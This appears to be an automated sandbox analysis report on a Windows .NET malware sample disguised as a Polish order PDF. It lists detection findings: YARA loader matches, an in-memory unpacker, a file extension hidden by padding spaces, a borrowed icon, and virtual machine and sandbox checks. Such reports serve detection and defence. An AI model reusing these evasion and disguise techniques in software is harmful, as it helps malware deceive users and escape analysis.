Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003519000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1610416024.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004FB2000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003519000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1610416024.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004FB2000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.45f4290.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.45f4290.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.461c2b0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.6fe0000.18.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.344fde8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.344fde8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4dadbd0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4ae3790.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4ae3790.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.48b9370.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.468ef40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1616564249.0000000006FE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1603204993.000000000436B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1603204993.000000000468E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 4888, type: MEMORYSTR

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_05F38B10 pushad ; iretd	0_2_05F38B11
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_05F33A98 pushfd ; iretd	0_2_05F33A99
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_07973DB8 push ecx; ret	0_2_07973DB9
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_07977106 push ecx; ret	0_2_0797710C
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_01870C45 push ebx; retf	12_2_01870C52
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_01870C53 push ebx; retf	12_2_01870C52
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_01870C6D push edi; retf	12_2_01870C7A

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	File created: \zam#u00f3wienie z2300056_pdf .scr.exe
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	File created: \zam#u00f3wienie z2300056_pdf .scr.exe			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (145).png

Uses an obfuscated file name to hide its real file extension (a lot of spaces)

Source: Detected 52 consecutive spaces in filename

Static PE information: Zam#U00f3wienie Z2300056_pdf .scr.exe

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 4888, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Memory allocated: 16A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Memory allocated: 3130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Memory allocated: 3040000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Memory allocated: 1870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Memory allocated: 31E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Memory allocated: 51E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Window / User API: threadDelayed 1568	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Window / User API: threadDelayed 620	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Window / User API: threadDelayed 1094	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Window / User API: threadDelayed 5478	Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 1664	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 1664	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 2816	Thread sleep count: 1568 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 2816	Thread sleep count: 620 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 1664	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 1664	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 1664	Thread sleep time: -99657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 1664	Thread sleep time: -99532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 1664	Thread sleep time: -99407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 1664	Thread sleep time: -99282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 1664	Thread sleep time: -99157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 1664	Thread sleep time: -99046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 6388	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 3468	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7656	Thread sleep count: 1094 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7656	Thread sleep count: 5478 > 30	Jump to behavior
